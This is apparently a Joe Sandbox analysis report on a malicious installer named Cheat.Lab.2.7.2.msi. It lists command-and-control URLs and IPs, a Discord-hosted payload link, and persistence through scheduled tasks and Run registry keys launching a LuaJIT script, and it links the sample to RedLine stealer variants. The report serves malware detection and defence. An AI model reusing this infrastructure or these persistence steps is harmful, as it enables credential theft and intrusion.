http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Msg	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id7	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id9Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id20	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21	0%	Avira URL Cloud	safe
http://193.37.71.112/	0%	Avira URL Cloud	safe
91.103.252.48:33597	100%	Avira URL Cloud	malware
https://luajit.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id11	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id17	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id14	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id18	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://193.37.71.112/Roaming	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.135.233	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt	false		high
91.103.252.48:33597	true	Avira URL Cloud: malware	unknown
http://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt	false		high
http://ip-api.com/json/?fields=query,status,countryCode,city,timezone	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms8	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	connect.exe, 00000016.00000002.2133528800.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.37.71.112/	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id7	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id6	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://luajit.org/	LuaJIT.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Mso8	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Msg	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txty	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/new	connect.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1ResponseD	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	connect.exe, 00000016.00000002.2133528800.0000000002C5D000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	connect.exe, 00000016.00000002.2135618138.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2135618138.000000000402B000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2114701460.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000003.2112585843.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.advancedinstaller.com	Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	false		high
https://www.ecosia.org/newt	connect.exe	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id11	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id14	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id18	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id19	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.37.71.112/Roaming	LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
91.103.252.48	unknown	Russian Federation	202306	HOSTGLOBALPLUS-ASRU	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
193.37.71.112	unknown	Russian Federation	202723	VAD-SRL-AS1MD	false

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1337697
Start date and time:	2023-11-06 15:34:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Cheat.Lab.2.7.2.msi
Detection:	MAL
Classification:	mal60.troj.spyw.evad.winMSI@30/50@2/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 105 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .msi

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.216.81.152
Excluded domains from analysis (whitelisted): www.microsoft.com-c-3.edgekey.net, ocsp.digicert.com, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, www.microsoft.com, fe3cr.delivery.mp.microsoft.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
Execution Graph export aborted for target LuaJIT.exe, PID 4128 because there are no executed function
Execution Graph export aborted for target LuaJIT.exe, PID 6136 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Cheat.Lab.2.7.2.msi

Simulations

Behavior and APIs

Time	Type	Description
15:35:03	Task Scheduler	Run new task: CheatLabUpdateTask path: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe s>"C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua"
15:35:03	API Interceptor	15x Sleep call for process: powershell.exe modified
15:35:11	Task Scheduler	Run new task: NotepadUpdateTask_NzEz path: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe s>C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua
15:35:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LuaJIT "C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua"
15:35:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LuaJIT "C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua"
15:36:09	API Interceptor	24x Sleep call for process: connect.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	QvConnect32.EXE.exe	Get hash	malicious	Agniane Stealer, zgRAT	Browse	ip-api.com/json/?fields=11827
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	HEUR-Backdoor.MSIL.Androm.gen-878555f3bd2bfb9.exe	Get hash	malicious	LimeRAT	Browse	ip-api.com/json
	HEUR-Backdoor.MSIL.LightStone.gen-e0fa9c62364.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	10.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	bQXD.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	New_Order_(2).js	Get hash	malicious	PXRECVOWEIWOEI Stealer, zgRAT	Browse	ip-api.com/line/?fields=hosting
	ify.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	ip-api.com/line/?fields=hosting
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	ip-api.com/json/?fields=11827
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	ip-api.com/json/?fields=11827
	gsges.exe	Get hash	malicious	Blackshades, Quasar	Browse	ip-api.com/json/
	Final_rooming_list.bat	Get hash	malicious	Blackshades, Quasar	Browse	ip-api.com/json/
	RC7.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	#U043f#U0440#U043e#U0432#U0435#U0440#U0430_#U0431#U043b#U043e#U043a#U043d#U043e#U0442#U0430.scr.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	Quotation.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	QvConnect32.EXE.exe	Get hash	malicious	Agniane Stealer, zgRAT	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.Androm.gen-878555f3bd2bfb9.exe	Get hash	malicious	LimeRAT	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.Androm.gen-878555f3bd2bfb9.exe	Get hash	malicious	LimeRAT	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.LightStone.gen-e0fa9c62364.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	https://applogyx.com//caltitle.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.2
	10.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	https://r20.rs6.net/tn.jsp?f=001NdUjQbShLjPEoJXEPe4uscikF9DeiuI06G1LhWRNRKyrYyqo6TLcAL3c_R4vTPh0pysY7ICud6VKtpI4V3Ww3ApCnLchitmzq64UCE0JU3OfEqTzdIWlaslcKlffQZuAhZZNJ50aAOaEUpJRTRptcw==&c=&ch=&__=kmeyer@osugiving.com	Get hash	malicious	HTMLPhisher	Browse	208.95.112.2
	https://netfl1x.vercel.app/	Get hash	malicious	Unknown	Browse	208.95.112.2
	Product_lists_.xlam.xlsx	Get hash	malicious	PXRECVOWEIWOEI Stealer, zgRAT	Browse	208.95.112.1
	bQXD.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	New_Order_(2).js	Get hash	malicious	PXRECVOWEIWOEI Stealer, zgRAT	Browse	208.95.112.1
	ify.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	208.95.112.1
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	208.95.112.1
cdn.discordapp.com	chromebypass.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.129.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.134.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.133.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.130.233
